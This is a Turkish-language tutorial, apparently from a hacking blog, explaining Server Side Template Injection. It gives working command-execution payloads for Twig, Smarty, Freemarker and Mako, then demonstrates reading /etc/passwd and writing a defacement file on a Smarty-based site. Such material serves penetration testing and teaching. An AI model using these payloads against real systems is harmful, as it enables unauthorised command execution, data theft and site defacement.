Selamlar,
Kritik sonuçlar doğurabilen bir zafiyet türü olan “Server Side Template Injection” (SSTI) konusunu ele alacağız.
1) Template Engine nedir ?
2) Server Side Template Injection nedir ?
3) Nerelerde bulunur ve Etkileri nelerdir ?
4) Payload Seçimi ?
5) Tool yok mu Tool ?
6) Demo Uygulama
Template Engine Nedir ?
Genellikle “Template Engine” şeklinde bahsedilen Şablon Motoru olarak Türkçe’ye çevirebileceğimiz bu şablonlar, uygulamaları daha dinamik hale getirmek için kullanılır. Kendisine verileni tanımlanmış işlemlere sokup sonrasında çıktı üreten bir sistemdir.
MVC (Model View Controller) olarak adlandırılan sistemde ; Model - View - Controller şeklinde 3 adet katman bulunur. Bu katmanlar şu şekilde işler ;
“Kullanıcı isteği → Controller → Model → Controller → View → Çıktı”
Yani kullanıcıdan alınan istek öncelikle “Controller” katmanına ulaşır. Bu katman, istek üzerinde bir işlem yapılacak ise bu isteği “Model” katmanına gönderir. Model katmanı gereken işlemleri gerçekleştirip Controller katmanına tekrar dönüş yapar. Controller katmanı aldığı cevabı “View” katmanına gönderir ve bu katman kullanıcının göreceği asıl sayfayı oluşturur. Bizim “Template Engine”, bu MVC mimarisinin “View” katmanında devreye giriyor ve gelen veriyi, şablonları (template) kullanarak render ediyor. Render ettikten sonra ise kullanıcının görüntüleyeceği hali elde ediliyor.
Fazla teorik bilgi olduysa şöyle biraz daha Türkçeleştirelim. Bir foruma üye olduğunuzda “Sevgili xxxxx, kayıt olduğunuz için teşekkür ederiz” şeklinde bir mail alıyorsunuz ya. Ha işte bu mesaj, önceden oluşturulmuş “Teşekkür Mesajı Şablonu” tarafından, sizin kayıt sırasında kullandığınız “xxxxx” kullanıcı adını içerisine alıp yukarıda bahsedilen işlemlerden geçirilip daha sonra size sunuluyor. (Tabii ki bu işi yapmak için Template Engine kullanmak şart değildir.)
Ordan burdan buluşturduğum bazı Template Engine isimleri ;
- PHP → Twig , Smarty
- Java → Freemaker , Velocity , WebMacros
- Python → Jinja2, Mako , Django
- Javascript → Jade , Rage
Server Side Template Injection nedir ?
Şimdi ise işlerin patlak verdiği kısma biraz değinelim. Hackerların sevdiği “bi yerlere bişeyler inject etme” felsefesi, Server Side Template Injection zafiyetini ortaya çıkarıyor ve işin ucu “XSS” den “Arbitrary File Read” a ve hatta “Remote Command Execution” zafiyetlerine kadar dokunuyor. Inject işlemi gerçekleştirilirken kullanılan Template Engine türüne göre farklı payloadlar ile testler gerçekleştirmek gerekmektedir. Payload seçiminde yol göstermesi adına, internette sıkça kullanılan şu görsele hızlı bi göz gezdirin ;
İnternette hali hazırda bulunan Template Engine sistemler haricinde, bireysel olarak oluşturulmuş Template’ler üzerinde testler yaparken ise benzer payloadların yanı sıra, hata mesajlarından faydalanmak veyahut tahmin yürütmek gerekebilmektedir.
Nerelerde bulunur ve Etkileri nelerdir ?
→ Login
→ Register
→ Password Reset
→ Search
→ File Upload
→ URL
→ Header Başlıkları
Şeklinde sıralasakda aslında her türlü input, url, header başlığı vs. bizim testimiz kapsamında ki hedeflerimizdir.
Zafiyetin etkileri ise kullanılan Template Engine’ye göre değişiklik gösterebilmektedir.
- [!] Information Disclosure
- [!] XSS
- [!] Arbitrary File Read
- [!] Remote Command Execution
Payload Seçimi ?
Kullanılan Template Engine ve bunların yazıldığı programlama dilleri bizim payload seçimimizi etkileyektir. Genel manada “Template Engine → Payload” eşleşmelerini şöyle sıralayalım ;
-
TWIG ile “id” komutu çalıştırmak için ;
{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}} -
SMARTY ile “id” komutu çalıştırmak için ;
{php}echo system(“id”);{/php} -
Freemarker ile “id” komutu çalıştırmak için ;
<#assign ex = “freemarker.template.utility.Execute”?new()>${ ex(“id”)} -
Mako ile “id” komutu çalıştırmak için ;
<% import os
x=os.popen(‘id’).read()
%>
${x} -
Benzer şekilde birçok Template Engine bulunmaktadır. Herbiri için farklı payload seçilmekte ve bu payloadları daha öncede söylediğim gibi, kullanılan Template Engine ve programlama diline göre seçeceksiniz. Payload seçimini daha iyi anlayabilmek için bunları kendi localhostunuz üzerinden kurup denemeler yapıp sonuçlarını incelemeniz faydalı olacaktır.
Şimdi “Smarty” Template Engine kullanan bir sistem üzerinde işleyişin nasıl olduğuna biraz göz gezdirelim.
{php} echo “jonturk75” ; {/php}
payloadını girdiğimizde, Title tagları içerisinde jonturk75 çıktısını alabiliyoruz.
{php} system(“cat /etc/passwd”); {/php}
payloadını denediğimizde ise Server Side Template Injection zafiyeti üzerinden Remote Command Execution elde etmiş oluyoruz.
{php} system (“echo ‘Jonturk75 @ vvHack.Org’ > jon.txt”); {/php}
payloadımızı kullanarak ise “jon.txt” dosyasına istediğimiz şekilde index bırakabiliyoruz.
Tool yok mu Tool ?
Server Side Template Injection zafiyeti için piyasada en kullanışlı görünen Tplmap tooludur. Kendisi birçok Template Engine için üretilen payloadları test etmektedir. Desteklediği Template Engine listesine, kendi Github Sayfasından şöyle bir tablo şeklinde ulaşabilirsiniz. Fakat hatırlatmakta fayda görüyorum , “hazır araçlar hiçbir zaman kesin sonuç vermezler.”
Demo Uygulama
Jonturk75 ~ @JRBops